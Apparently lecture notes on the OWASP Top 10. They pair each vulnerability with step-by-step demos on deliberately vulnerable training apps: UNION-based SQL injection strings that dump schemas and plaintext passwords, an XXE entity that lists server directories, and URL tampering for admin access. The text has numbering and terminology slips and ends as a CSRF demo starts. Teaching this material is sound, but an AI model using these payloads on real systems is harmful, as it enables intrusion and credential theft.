UNIT II

Introduction to Cyber security

Introduction to OWASP Top 10
Many Organizations are still struggling to build secure applications as they lack the
awareness on how to implement security features effectively. Hence, OWASP (Open Web
Application Security Project) helps organizations to deal with this.

About OWASP
 A non-profit worldwide charitable organization
 Focuses on improving the security of software applications
 Educates designers, developers and business owners on various risks commonly
associated with Web applications

OWASP Top-10 and its versions

 OWASP Top-10 is an awareness document, listing the Top-10 vulnerabilities (weakness)
found in web applications.
 First developed in 2003 with subsequent releases in 2004, 2007, 2010, 2013 and 2017
 OWASP's main aim is to make application security guidelines easily available to all, so
that developers and organizations can make correct decisions about application security
risks.
 Everyone is free to participate in OWASP and all of its material is available under a free
and open software license.
 The following are vulnerabilities listed by OWASP Top-10 vulnerabilities suggested in
the 2017 release.
A1 Injection
 Injection is about supplying untrusted input to a program, which gets processed by an
interpreter as part of a command or query, hence altering the course of execution of that
program.
 They can result in data theft, data loss, loss of data integrity, denial of service, as well as
full system being compromised
 Interpreted languages through which injection is possible are SQL, LDAP, XML,
Perl, PHP, etc
 Types of Injections are SQL Injection, XML injection, LDAP injection, SOAP injection,
HQL injection; OS command injection, Xquery injection, Xpath injection.
SQL Injection
SQL Injection refers to an injection attack where an attacker can execute intended to do
harm by using SQL statements that can access a web application's database server.
Attack Motive
 To gain access to the database
 To delete/corrupt the data
 To cause denial of data access
 To take over the complete host (Operating System)
Procedure of the Attack
 Hacker would send specially framed inputs with SQL statements embedded, that would
result in altering the semantics of the query
 Untrusted data is sent to the program
 The hacker succeed in making the server to run the query that he was intended to
Explanation
A successful SQL injection exploit can read sensitive data from the database, modify
database data (Insert/Update/Delete), execute administrative operations on the database such as
shutdown the DBMS (database management system), recover the content of a given file present
on the DBMS file system and in some cases issue commands to the operating system also.

Explore the Existing Search Functionality of WeakApp Application - Demo

Demo Steps:
For this demo we will be using WeakApp application. This application has a search
feature named 'Display records' that displays the user id and the email id of the users whose
name have the given search character/string.
Step 1: This feature can be accessed by following the below steps.
 Click on the link – “Display Records : SQL Injection”
  Following is the snapshot of the UI for Display records

Step 2: Let us use the search functionality to display the user id and email id of the users who
have character ‘v’ in their user id.
 Search String: v
Output:

 The search functionality at the back-end has been coded in SQL as follows.
  The variable 'matchText' gets user input
 Then gets concatenated with the remaining SQL query string to complete the SQL query
 The formed SQL query fetches the user id and the email id of the users whose user id
match the search character/string stored in matchText
 Search String: v
 Original Query:
SELECT userid, email
FROM userAccounts
WHERE userid LIKE '%" + matchText + "%';
 Formed Query:
Select userid, email
From userAccounts
Where userid Like '%v%';

Exploit the Search Functionality of WeakApp Application Using SQL Injection - Demo
Demo Steps:
 Most of the search functionalities in the back-end are coded using concatenation method.
The hackers try to exploit this vulnerability to hack into the applications.
 Let us try to hack the application to reveal the username and passwords of all the users of
WeakApp application.
Step 1: Hacker will try to append his query to existing query coded in the back-end.
 First the hacker will try to identify the number of columns used in the back-end query by
giving the below search string.
 Search String
' union select null –
 This query purposely has a space after the '
 The query ends with -- that is used for commenting
 The -- is followed by a space
 Original Query
SELECT userid, email
FROM userAccounts
WHERE userid LIKE '%" + matchText + "%';
 Formed Query
SELECT userid, email
FROM userAccounts
WHERE userid LIKE '%' union select null -- %';
 The query will attempt to display the user id and email id of all the users appended with
null
 The code written after the -- symbol gets commented

 Here the appended text tries to append the data "null" to the already existing query.
However since both the queries that are used in union operation have different number of
columns it results in an error as follows
‘union select null --
  The verbose (containing more words than necessary) error displayed, reveals all the
details that makes it easier for the hacker to craft his query.
 Here the error enlists.
o Type of database used
o Number of columns not matching
 This information is sufficient for the hacker to reform his query by appending 2 nulls
then 3 nulls until he is able to make a successful attempt that displays all the user ids,
with their email ids
 Also he is aware that the database is a MariaDB (MariaDB Server is one of the most
popular open source relational databases.) database, hence the attacker would reform his
query as per the syntaxes of MariaDB database(if he has not already written it in a similar
syntax)
Step 2:
The hacker will now attempt to hack by appending 2 nulls in the select query
 Search String
' union select null,null –
 This query purposely has a space after the '
 The query ends with -- that is used for commenting
 The -- is followed by a space
 Original Query
SELECT userid, email
FROM userAccounts
WHERE userid LIKE '%" + matchText + "%';
 Formed Query
SELECT userid, email
FROM userAccounts
WHERE userid LIKE '%' union select null,null -- %'
 The query will attempt to display the user id and email id of all the users appended with
null
 The code written after the -- symbol gets commented
  The query gets executed successfully without any error and displays the user id and email
id of all the users appended with null
The hacker draws below conclusions.
 It is a MariaDB database
 There are two columns used in the back-end query
With this information he can hack the database further.
Hack the Database –Demo
 Hack the Search Functionality of WeakApp Application to Display all the User Names of
WeakApp Application along with their Passwords.
 The Step by Step Hacking to Fetch the Details of Username and Passwords of all Users
of WeakApp Application

Demo Steps:
Step 1: Let us now try to gather the details of the information schema of this database.
 Search String
' union SELECT table_schema, table_name
from information_schema.tables
where table_schema != 'mysql' AND table_schema != 'information_schema' –
 Original Query
SELECT userid, email
 FROM userAccounts
WHERE userid like '%" + matchText + "%';
 Formed Query
SELECT userid, email
From userAccounts Where userid like '%' union select table_schema, table_name
From information_schema.tables
Where table_schema != 'mysql' AND table_schema != 'information_schema' -- %';
 The query is appended with two columns, but instead of null it has been appended with
table schema name and table names
 The query executes successfully displaying the output of the first query – all the user ids
and their respective email ids along with the output of the 2nd query – schema name and
table names of all the schema as follows

 The hacker now knows there are four schemas in this database, namely:
1. Multillidae
2. Performance_schema
3. Phpmyadmin
4. Weakapp
Step 2: The hacker now knows that there is a schema with the name WeakApp for the
application WeakApp. He tries to get more details about this schema.
 Search String
' union select table_name, column_name
from information_schema.COLUMNS
where table_schema = 'weakapp' –
 Original Query

Select userid, email

From userAccounts
Where userid like '%" + matchText + "%';
 Formed Query
Select userid, email from userAccounts
Where userid like '%' union select table_name, column_name
From information_schema.COLUMNS
Where table_schema = 'weakapp' -- %';
 The query is appended with two columns, but instead of null it has been appended with
table name and table column names
 The query executes successfully displaying the output of the first query – all the user ids
and their respective email ids along with the output of the 2 nd query – table names and
column names of these tables particularly for weakapp schema as follows
Step 3: The hacker now knows that there is a table with the name "useraccounts" in WeakApp
schema. They tries to get more details of this table.
 Search String
' union select userid,passwd from useraccounts –
 Original Query
Select userid, email
From userAccounts
Where userid like '%" + matchText + "%';
 Formed Query
Select userid, email
From userAccounts
Where userid like '%' union select userid,passwd
From useraccounts -- %';
 The query is appended with two columns, but instead of null it has been appended with
userid and password columns of useraccounts table
 The query executes successfully displaying the output of the first query – all the user ids
and their respective email ids along with the output of the 2 nd query – userid and
password of all the users of useraccounts table as follows
  The hacker has been successful in their attack. They has been able to fetch all the details
of all the users of WeakApp application. The passwords are not encrypted
 With this information they can do anything in the database to the extent of bringing it
down
This demo shows us how the hacker can take advantage of the SQL Injection vulnerability
and hack into any user’s account to obtain confidential information.

A1 Injection Risks Root Causes and its Mitigation

Injection Risks Root Causes
Risks
 The entire data can be stolen, deleted or modified resulting in breach of confidentiality,
integrity, availability
 It can result in Denial of Service (DoS)
Root causes
Following are the root causes of SQL injection.
 Insufficient input validation
o When a software that does not validate user input's appropriately, an attacker may
inject intended to do harm input in a form that duplicates the SQL interpreter.
o This would lead to various components of the system receiving unintended input,
which may result in altered control flow, system control of a resource, or system
code execution
 Use of dynamic SQL queries (It is a programming methodology for generating and
running SQL statements at run time)
 Default privileges given to users or groups
Mitigation for SQL Injection
To control the SQL injection attacks, following are the countermeasures.
Proper validation for all the input parameters must be performed. Validations are
categorized as two types-white list and black list.
1. Whitelist Validation(Accept known good)
 The idea is that one should check that the data is a set of tightly constrained known good
values
 Any data that doesn't match should be rejected. The checklist on whitelist validation are
o Strongly typed values at all times
o Length to be checked and field length to be minimized
o Range to be checked if numeric values are present
o Syntax or grammar should be checked prior to first use or inspection
2. Blacklist validation(Reject known bad/negative)
 The set of possible bad data is potentially infinite. Adopting this strategy means that
one will have to maintain a list of "known bad" characters and patterns which have
incomplete protection
Proper sanitization methods- rather than accept or reject input, another option is to change
the user input into an acceptable format. Sanitization means modifying the input to ensure that it
is valid. It can be applied on - HTML and URL's. They are of two types.
1. Sanitize with Blacklist
  Eliminate or translate characters in an effort to make the input "safe".
2. Sanitize with Whitelist
 Any characters which are not part of an approved list can be removed, encoded or
replaced
 Use of prepared statements that hold a set of methods to accept user inputs. In such
cases, the input will be treated as a string and not as an executable statement
 Limit the information to be displayed in the error message on the web browser
 Grant only necessary privileges for accounts that are used to connect to DB, for
example all the users should not be given permission to shut down the data base etc.
A2 Broken Authentication and Session Management
Authentication and session (is a connective duration between a computer and a user)
management includes all aspects of handling user authentication and managing active sessions.
'Broken' refers to an imperfect in authentication and session management mechanisms.
Procedure of the attack
Attackers compromise password, keys, session tokens, or exploit other implementation
flaws to access user identities. The attacker tries to predict the user credentials or session values
for performing this attack.
Explanation/more details of the attack
Attacker will gain access to accounts by using techniques to impersonate a session or
user. The various flaws that result in Broken Authentication.
Following are common flaws that result in broken authentication.
 Username Enumeration
 Allows Brute Force
 Use of Weak Passwords
 Weak Password Reset Mechanism
User Enumeration Flaw Demo
Demo Steps:
In WeakApp, login utility verifies the username and the password provided by the end
user against the data stored in the database. If both username and password is correct it allows
the user to login to the application. If either username or password is incorrect it displays an error
message.
Method 1- Incorrect Username with incorrect password
Step 1: Input the following credentials:
 Username: vvg1
 Password: 1234
Step 2: It will result in an output as shown below.

Method 2- Correct Username with incorrect password

Step 1: Input the following credentials:
 Username: vvg
 Password: 1234
Step 2: It will result in output as shown below:

Method 3- Incorrect Username with correct password

Step 1: Input the following credentials:
 Username: vvg1
 Password: vvg!123
Step 2: It will result in an output as shown below:
Method 4- Correct Username with correct password
Step 1: Input the following credentials:
 Username: vvg
 Password: vvg!123
Step 2: It will result in an output as shown below:

 From the above cases the hacker can conclude that there exists a user in the database with
the name vvg. Also, he knows that there is no user with the name vvg1. With this
information the hacker can build a database of all the names that exist in the database.
 He will apply brute force technique - trying one name at a time, by attempting with the
most common usernames. Also, he might be using automated tools to do this task.
 Once the hacker retrieves all the usernames of applications he can use a strong password-
cracking tool to discover their passwords. With both username and passwords discovered,
the hacker can perform any activity on the database.
Mitigation
This issue can be resolved by implementing below solutions.
 Displaying a generic message to the end user- “Username or Password is invalid", hence
making it difficult for the hacker to intrude
 Tracking brute force attempts in system logs. Block the particular IP address that are
attempting it
  Including Captcha in the application, to distinguish whether it’s a human or tool trying to
perform the attack
 Making use of strong passwords with encryption
Brute Force Attack
A common threat faced by the web developers is a password guessing attack known as
brute force attack. A brute force attack is an attempt to discover a password by systematically
trying every possible combination of letters, numbers, and symbols until you discover the one
correct combination that works.
Let us look at a scenario to understand the brute force attack.
Password tokens are most commonly used where forgot password functionality is used. A
mail is sent to the user who requests for a password change with a link to change his/her
password.
Following is a sample password reset link.
https://EDUBank/resetPassword/61687
These links have a token that is valid for a limited period (10-15 minutes).The following
code is used by a website for generation of these password tokens.
A token is a one-time generated link that contains numbers and letters that'll allow you to
reset your password.
Random rand = new Random();
int low = 10000;
int high =100000;
token = rand.nextInt(high - low) + low;
This implementation has multiple issues.
Issue 1: The range in which the token numbers are generated is very small. Such random
numbers can be easily guessed
Issue 2: Token length is very small leading to brute force attack

Mitigation
 The most obvious way to block brute force attacks is to simply lock out accounts after a
defined number of incorrect password attempts
 locking out authentication attempts from known and unknown browsers or devices
  Assign unique login URLs to blocks of users so that not all users can access the site from
the same URL
 Use a CAPTCHA to prevent automated attacks
 Token generation must use secure random number generation that is difficult to predict
Weak Passwords
The hacker was successful because the user passwords were the most commonly used
ones. The passwords such as 1234, password, qwerty etc. are considered to be weak passwords.
A hacker can create a list of such passwords to brute force them until the authentication
gets successful.
Mitigation
 Ensure that strong passwords are used
 One must regularly change passwords
 One should ensure that passwords are not reused
Weak Password Reset Mechanism
The password change and reset function of an application is a self-service mechanism for
users. This allows users to quickly change or reset their password without an administrator
intervening.
When passwords are changed they are typically changed within the application. When
passwords are reset they are either rendered within the application or emailed to the user. This
may indicate that the passwords are stored in plain text or in a de-cryptic format.
Mitigation
 Keep changing the cryptographic keys periodically
 Ensure that any secret key is protected from unauthorized access
 Ensure that the cryptographic protection remains secure even if access controls fail
Flaws in Session Management
Following are the common flaws in session management.
 Session Fixation
 Predictable Session IDs
 Short session IDs
 Inappropriate Session Timeout
Let us see about Session Fixation through an example.
Session Fixation
Session Fixation is an attack that permits an attacker to hijack a valid user session. The
attack is due to a limitation, the way the web application manages the session ID.
An attacker will target a vulnerable application and will learn about the application's
behavior as in how it manages user session IDs. While authenticating a user, the web application
might not be providing a different session ID which makes the application vulnerable.
Web applications which have session IDs visible in their URL are the most vulnerable
ones as they cover way for attackers to perform hacking.
Let us understand session fixation with help of a scenario.
 Alex got an exciting offer on a holiday package to Prague in a website, GoHoliday.com.
He logs in and books a trip for himself
 He shares the link, given below, with his friend Lisa
http://GoHoliday.com/tour_package/;jsessionid=2P0OC2JDPXM0OQSNDLJUN2JV?
dest=Prague
 Lisa accesses the link and is able to book a trip for herself without spending a penny
How do you think, Lisa was able to book the trip?
The answer is, the active session ID. This application provided a session ID for
every user. But did not change it while authenticating the user. So, when Alex logs in, the
session ID got authenticated and active which enabled Lisa to book the trip using the same
session ID.
Mitigation
 Different session IDs should be allocated to the user after authentication.
 Session IDs should not be visible in the URL
Predictable or Sequential Session Ids and Short Session Ids
This method of hacking the websites which has a sequential pattern of generating session IDs.
 If an attacker understands the pattern between the consecutive sessions generated by
the web application, he/she could easily predict what could be the next session and hence,
can gain access to an account without proper authentication
 This will be more dangerous if he get to access the same session in which a user, having
admin privilege, is working. Thus entire system will be compromised in such a situation
  Also, it is important to note that using very short session id values can lead to a brute
force attack which makes it easier to hack even if the values are created randomly
Let us consider the following scenario.
 A hacker wants to gain the access of a web application which generates the sessions in
the following manner
http://www.localhost:8080/aviscanner.jsp?id=1234;sessionid=avis1234
http://www.localhost:8080/aviscanner.jsp?id=1234;sessionid=avis1235
http://www.localhost:8080/aviscanner.jsp?id=1234;sessionid=avis1236
 He/she observers the pattern and decides to log in with the next session
 Unfortunately, the next user is Alex, who is the admin of the web application. Once Alex
logs in, the hacker also logs in with the same session id and gains access to Alex's session
 Now, hacker will get the access with admin privilege and can access the application
inside out
Mitigation
 Session ids must be long, as long as 128-bits
 Session ids must be unpredictable and random to prevent guessing of session id's
Session Timeout
There is one more way in which the session generation can be exploited by the hacker i.e.
session timeout.
Let us look at the following scenarios to gather more information about session timeout.
Scenario 1
 The hacker has gained access to Alex's (legitimate user) authentication credentials
 The hacker logs into the application as a legitimate user using Alex's authentication
credentials
 Alex also logs into the application with his authentication credentials
 Both of them were able to access the application at the same time
Scenario 2
 Alex was accessing his gmail account
 His manager calls him for some urgent work
 Being in hurry, he left the desktop without logging off
 After an hour, a colleague enters Alex's cabin and saw that his gmail account is open
  This colleague misuses the situation for his/her own benefits
Mitigation
 Avoid infinite session timeout
 Session timeout value must be kept as minimum as possible which may vary from
application to application
 Multiple sessions should not be allowed
Broken Authentication and Session Management Risk and Root Causes
Risks
Impersonation, especially gaining illegal access to privileged accounts.
Root causes
 Flaws in authentication
o Username enumeration
o Weak passwords
o Allows brute force
o Weak Password Reset Mechanism
 Flaws in session management mechanisms include
o Session fixation
o Sequential or predictable session IDs
o Short session IDs
o Inappropriate session timeout
To control the attacks arising due to broken authentication and session management, following
are the countermeasures.
 Session IDs should be sufficiently lengthy to protect from brute force attacks
 Use of strong algorithms to generate session IDs that would have the following properties
o It must be random and unpredictable
o Appropriate session timeouts
o Multiple sessions should not be allowed for critical transactions involving web
applications such as banking websites
o Enforce strong passwords
A7 Cross Site Scripting XSS
 Cross-site scripting (XSS) enables attackers to inject client-side into web pages viewed
by other users. This vulnerability will be used by threat agents to bypass access controls like
authentications, access policies, etc.
Types of Cross Site Scripting
 Persistent/ Stored Cross Site scripting - Whenever, there is a web application that takes
an input from the user, stores it the DB, subsequently displays the data in the browser, it
is possible to execute a malicious JavaScript code on the users browser. This malicious
script can do bad things ranging from virtual defacement to session hijacking. This is also
called as second-order/persistent XSS
 Non-Persistent/ Reflected Cross Site scripting - Reflected cross-site
scripting vulnerabilities arise when data requested is echoed (it is not stored) into the
application's immediate response in an unsafe way. This is also called as first-order/non-
persistent XSS
 DOM Cross Site scripting - Here the vulnerability is in the client-side code rather than
in the server-side code. This is in contrast to other XSS attacks (stored or reflected),
where the attack payload is placed in the response page (due to a server side flaw). This
also called as type-0 XSS
Motive of Cross Site Scripting (XSS)
Following are the motives of the attack.
 To hijack user sessions, deface web sites, hijack the users' browser using malware
 To exploit the trust relationship between the application and the end user by page
redirection
 To steal user credentials
 To execute Denial of Service (DoS) attack
 To steal cookies (information that a website puts on a user's computer) and as a result
perform user impersonation
Procedure of the attack
 Attacker sends text based attack scripts that exploit the interpreter in the browser
 Attacker sends invalidated user supplied data to the browser
 Attacker can access cookies, session tokens, or other sensitive information retained by the
browser and used with that website.
Explanation/more details of the attack
 Cross-Site Scripting (XSS) attacks are a type of injection attacks, in which malicious
scripts are injected into trusted web sites
 The end user’s browser has no way to know that the script should not be trusted, and will
execute the script. Because it thinks that the script came from a trusted source
 Scripting languages like JavaScript are often used to facilitate enhanced features of
websites. These features are processed on the server, but the script on a specific page runs
on the user's browser
A3 Sensitive Data Exposure
Many web applications do not properly protect sensitive data, such as credit card details,
tax IDs, and authentication credentials. Attackers may steal or modify such weakly protected
data to conduct credit card fraud, identity theft, or other crimes.
Sensitive data deserves extra protection such as encryption at rest or in transit, as well as
special precautions when exchanged with the browser.
Following are the motives of attack.
 To expose individual user's data that can lead to account theft
 To expose entire site by a comprised admin account
 To perform phishing attack by using poor Secure Socket Layer (SSL) (protocol that
provides secure communication over the Interne) setup
Procedure of the attack
 Unencrypted sensitive data is giving an easy data access to the attacker
 Guessing keys are easy because of weak key generation algorithms. Weak keys also leads
to poor encryption
 Weak password hashing techniques for key generation are used which is easy to crack by
a hacker
 Browser weaknesses are very common and easy to detect
 The backup data or plain data in transit can also be extracted by the attacker if it is not
encrypted

Explanation/more details of the attack

 In this attack, attackers typically don’t break cryptos directly. They break through
private keys, perform man-in-the-middle attack (attack that intercepts a communication between
two systems), or steal plain text data off the server while in transit, or from the user's browser.
Sensitive Data Exposure in Application
A hacker was able to hack into the database using SQL injection and was able to access
all the sensitive data, such as passwords. He was able to access the passwords because they were
present in unencrypted form as shown in the following image.

Mitigation
 Ensure passwords are stored with an algorithm specifically designed for
password protection
 Ensure that strong password hashing techniques are deployed
 Proven decryption techniques must be used to ensure sensitive data protection
Sensitive Data Exposure Risks and Root Causes
Risks
 Data breach
 Session hijacking
 Interception performing data transmit
 Modification of data
Root causes
 This attack is possible due to not protecting sensitive data using strong
encryption/hashing techniques
 Other reason is transmitting sensitive data insecurely
Mitigation for Sensitive Data Exposure
To control the Sensitive Data Exposure attacks, following are the countermeasures.
 All sensitive data should be encrypted where it is stored during backups.
 Use SSL while transmitting sensitive data
 Use strong encryption algorithms and strong keys to encrypt the sensitive data
 Ensure your certificate is not invalid, expired or revoked that is used by the site
 Disable caching and auto complete of form pages that collect sensitive data
A5 Broken Access Control
 A direct object reference occurs when an identifier (E.g., primary key column of a
database table, file name), used in the internal implementation of a web application, is
exposed to users
 When a requesting URL has a direct object reference of file, directory, database record,
or key(identifier/object values), an attacker can manipulate these object references.
Following are the motives of the attack.
 To process and retrieve sensitive information which the attacker is not authorized to
access
 To compromise all the data that are referenced by the parameter
Procedure of the attack
 Attacker, who is an authorized system user, simply changes a parameter value that
directly refers to a system object to another object the user isn’t authorized to access
 This attack occurs, when developer exposes a reference to an internal implementation
object like a file, directory, database record, or key, as a URL or form parameter
 This lets the attacker to manipulate the references to access other objects without
authorization

Explanation/more details of the attack

 Insecure direct object references allow attackers to bypass authorization and access
resources directly by modifying the value of a parameter used to directly point to an object. Such
resources can be database entries belonging to other users, files in the system, and more.
Let us understand a scenario exploiting the Insecure Direct Object Reference
vulnerability with the help of a demo.
A4 XML External Entity (XEE)
 XML External Entity attack is done against the applications which parses the input taken
in the XML format.
 The application gets exploited when the XML input having reference to external entity is
parsed using vulnerable parser.
 This type of attack can cause disclosure of sensitive information, denial of service etc.
Let us learn about the motives of an attacker and an understanding on XEE procedure.
Motives of XEE
 To disclose local files
 To cause denial of service
 To retrieve confidential data
Procedure of the Attack
 Hacker would send XML input containing external entities which can access remotely or
locally stored content using a declared system identifier
 The XML parser substitutes every instance of external entity with the content accessed by
the declared system identifier
Explanation/more details of the attack
 A poorly configured XML parser can lead to exposure of confidential data.
 External entity attack is mainly performed by using XML’s Document Type Declaration
(DTD). Tainted data is accessed by the system identifier of the entity which present under
DTD.
Let us witness a few XEE attack scenarios.
Demo Steps:
For this demo we will be using WeakApp application. This application has a XML
Validator feature which parses the XML input and give the data present within the tags as output.
Step1: Click on XML Validator.
Step 2: Let us try to parse the XML input. Put the XML input on the left side of the page under
XML Input and click on post. You will get the parsed output on the right side of the page as
shown in the following image.

Step 3: The above input can also be drafted using XML DTD. The following input will also
fetch the same result as shown in step 2.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE employee [
<!ENTITY name1 "Rahul">
<!ENTITY password1 "Rahul*123">
<!ENTITY name2 "Sunny">
 <!ENTITY password2 "Sunny*123">
]>
<footer>&name1;&password1;&name2;&password2;</footer>

Hack the XML Validator Functionality of WeakApp Application Using DTD

Demo Steps:
Step 1: Post the following xml input.
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE change-log [<!ENTITY systemEntity SYSTEM "../">
]><change-log><text>&systemEntity;</text></change-log>
Step 2: We will be able to see the content present inside the server folder present in C: drive as
shown in the image below.
Step 3: Now suppose some important information is stored in “password.xml”. This XML file
has following content.
<?xml version="1.0" encoding="utf-8"?>
<important>
<name>Admin</name>
<password>Admin*1234</password>
</important>
Step 4: By editing the URL in the XML input mentioned in Step 1, one can navigate through
other files also.
For example, changing the URL as “../../../” will show the content present in C drive as
highlighted in the image below.

XEE Risks and Root causes

Risks
 Endless files can be uploaded to cause “Denial of Service” attack
 Data from the server can be extracted
 Application accepting XML directly or XML uploads, especially from untrusted sources,
or inserts untrusted data into XML documents, which is then parsed by an XML
processor
Root causes
 Use of Document Type Definitions (DTDs) elements in XML input
 DTDs enabled in the XML parser
Mitigations:
 Update all XML processors and libraries used in the application.
 XML external entities and DTD processing must be disabled in XML parsers
 Whitelisting, filtering or sanitization should be implemented on the XML input
 Tools must be used to detect XEE in source code
A6 Security Misconfiguration
Good security requires a secure configuration to be defined and deployed for application
frameworks, application server, web server, database server and platform. All these security
settings should be defined, implemented and maintained.
It is also equally important in keeping all software up to date, including all code
libraries used by application. If these controls are not in place, then it might result in attacks
resulting from security misconfiguration.
Following are the motives of attack.
 To gain unauthorized access of certain system data or its functionality
 To get complete control on system without victim’s knowledge
 To steal or modify some data
Procedure of the attack
Attacker accesses default accounts, unused pages, unpatched flaws, unprotected files and
directories, etc. to gain unauthorized access to or knowledge of the system.
Explanation/more details of the attack
Security misconfiguration can happen at any level in the application stack, including the
platform, web server, application server, framework and custom code due to default
configuration/installation.
Let us understand Security Misconfiguration vulnerability with the help of a demo.
Security Misconfiguration in WeakApp Application Demo
Let us look at the feature 'Login' of the WeakApp.
Step 1: This feature can be accessed by following the below steps.
 Click on the link – “Login : SQL Injection”
Step 2: The hacker tries to test the application by injecting a ' in the username and leaves the
password field blank.

Step 3: Hacker now tries the other combination to test the application by giving some random
password say "12345" and leaves the User Id field blank.

Step 4: Now, the hacker concludes that to login both userid and password are required. He
attempts by giving the User Id as ' and Password as 12345. On clicking the Login button, an
error page will be displayed as shown in the following image.
The message in the error page gives the following information to the hacker.
1. Syntax exception has been raised
2. The database server used is the MariaDB server
3. Password is shown in the error page itself
These kinds of error pages reveal too much information about the configurations of the
application which in-turn encourages the hackers to improvise their attack. He now knows the
type of database and can tweak his injection queries accordingly.
Mitigation
 In the process of developing the application, developer should implement error messages
carefully
 The error messages should not contain any important message regarding the
configuration of the applications
 A generic error message stating - "Something went wrong" will make it difficult for the
hacker to guess and exploit
A7 Missing Function Level Access Control
Most web applications verify function level access rights before making that functionality
visible in the UI (User Interface). If requests are not verified, attackers will be able to forge
requests in order to access functionality without proper authorization.
Motive of Missing Function Level Access Control
Following are the motive of attack.
 To gain complete control of the target system
  To access private administrative functions through anonymous users
 To access privileged functions through authorized users
Procedure of the attack
 Changing the URL parameters to access privileged page who is an authorized system
user
 Predicting names of files/folders to access the content. Similar file structure with
matching names makes the content location more predictable
 Guessing the content name and location or applying brute force to gain access
Explanation/more details of the attack
This vulnerability occurs when an application displays sensitive features of links or URLs to
unauthorized users. Attacker gain access and perform unauthorized operations to the hidden
content by accessing those URLs directly
Let us understand Missing Function Level Access Control attack scenario with the help of a
demo.
 For this demo we will be using AltoroMutual application designed by IBM. It is
a deliberately designed vulnerable application used only for training purposes.
 AltoroMutual has a feature called "login" through which a normal user and an admin user
can log into the application.
Step 1: This feature can be accessed by following the below steps.
 Copy the link http://www.altoromutual.com/ in any browser
 Click on the link – “Sign In"
 Enter the username as "admin" and password as "admin" to login as admin user into the
application
Step 2: Upon login, you can see admin can perform administrative task like edit users etc.

Step 3: Click on “edit users” icon to view the edit user page as admin. Also notice the URL in
browser as highlighted http://demo.testfire.net/admin/admin.aspx.
Step 4: Open a new browser window and repeat Step 1 but login as a normal user with username
“jsmith” and password as “demo1234”.

Step 5: Click on "Transfer Funds" link. Observe the URL.

One can find that the URL contains the user requested functionality in the format
http://demo.testfire.net/bank/<functionality>.aspx
(E.g. http://demo.testfire.net/bank/transfer.aspx)
Exploiting the Existing Functionality of AltoroMutual Application
Demo Steps:
Here John will test the application for Missing Function Level Access Control
vulnerability and will attempt to gain control of admin privilege.
Step 1: One where admin has logged in and another where John (User id - jsmith) has logged in.
Step 2: Once John (jsmith) becomes familiar with the pattern of functionality, he will try to get
admin access by using the URL http://demo.testfire.net/admin/admin.aspx
Paste the URL http://demo.testfire.net/admin/admin.aspx of admin browser in John's
browser. Observe that the admin page will open without any error, which confirms that you have
acquired the admin role as shown below.
Step 3: Click on “Edit Users” to perform admin tasks though you have logged in as John
(jsmith) in this browser.
Step 4: Click on “View Application Values” option as show in image below.

1. Shows that the user who has logged-in is “jsmith” from session contents information.
2. Shows that URL of page is having "/admin/admin.aspx"
From above two points, it confirms that normal user John (jsmith) has acquired admin role on
simply pasting the privileged link http://demo.testfire.net/admin/admin.aspx
Also try out the following sequence of steps.
 Logoff from both the accounts - John and admin's
 In the second browser and paste the admin
URL http://demo.testfire.net/admin/admin.aspx
 Observe the output
 Login only in the second browser as John (jsmith) and paste the admin
URL http://demo.testfire.net/admin/admin.aspx
 Observe the output
Mitigation
 Check authentication and authorization before providing access to the users according to
their role
 Before rendering the page the role of logged in user John should be verified, if he does
not have admin access then the page should not rendered
To control the Missing Function Level Access Control attacks, following are the
countermeasures.
 UI (User Interface) should show only those features that are accessible to target users and
hide unauthorized functions from the end users view
 Check authentication and authorization before providing access to the users
 Perform validation at the server end and before servicing the request
A8 Cross Site Request Forgery CSRF
 CSRF is an attack that forces an end user to execute unwanted actions on a web
application in which they are currently authenticated.
 CSRF attacks specifically target state changing requests, not theft of data. If the victim is
a normal user, a successful CSRF attack can force the user to perform state changing
requests like transferring funds, changing their email address, and so forth. If the victim
is an administrative account, CSRF can compromise the entire web application.
 A CSRF attack forces a logged in victim’s browser to send a forged HTTP request,
including the victim’s session cookie and any other automatically included authentication
information, to a vulnerable web application.
Following are the motives of attack.
 To access unauthorized functionality
 To compromise end user data and operation, when the target is normal user
 To compromise the entire web application, if the targeted end user is an administrator
account
Procedure of the attack
 Attacker creates fake HTTP requests and tricks a victim into submitting them via image
tags, XSS, or numerous other techniques
 If the user is authenticated, the attack succeeds
 Attackers can trick victims into performing any state changing operation the victim is
authorized to perform, e.g. updating account details, making purchases, logout and even
login.
Exploring the Existing Functionality of Bank Teller of EDUBank Application
Demo Steps:
For this demo we will be using an internal application EDUBank. This application has a
feature through which a bank teller can credit money to any existing bank account and can also
create new account for customers.
Step 1: This feature can be accessed by following the below steps.
 Copy the link http://vjeemys-09:3333/EDUBank/tellerLogin in Chrome
 Enter the login name “T7302” and password “T7302*abc” to login as bank teller T7302
as shown below

Step 2: Click on “Add Money” feature to credit money to any account.

Step 3: Enter account number as 138024949150530 and click on search. It will display the
account holder's name, in this case, Daniel Brown.

Step 4: Enter the amount to be credited.

Step 5: Now, click on “Add Money” button. The bank teller has added money to Daniel's
account successfully.

Let us understand the background actions of transferring the amount from bank teller to another
account.
Step 6: Click on your browser (Chrome) menu > choose "More tools" >click on "Developers
tools" to view network traffic.
Above screenshot shows the following.
1. First icon shows that request contains URL of application which is requesting parameters
"account number" and "account" from browser
2. To see the traffic generated during addMoney functionality, click on Network tab
3. Click on addMoney to see the traffic details of the transaction addMoney
4. Browser has submitted the request to EDUBank application
5. Browser is communicating with application through POST method
6. Browser is submitting account number as request parameter to the application
7. Browser is submitting amount as request parameter to the application
Step 7: Right click on web page as shown in above image and select "View page source" to open
HTML page as below.

Above screenshot show EDUBank application sends a HTML form to the user with the
URL "http://vjeemys-09:3333/EDUBank/addMoney" and contains same account number which
has been requested by the teller.

Demo Steps:
In this demo we will try to hack the EDUBank application by exploiting the CSRF
vulnerability in order to perform some unauthorized transactions as a Bank Teller.
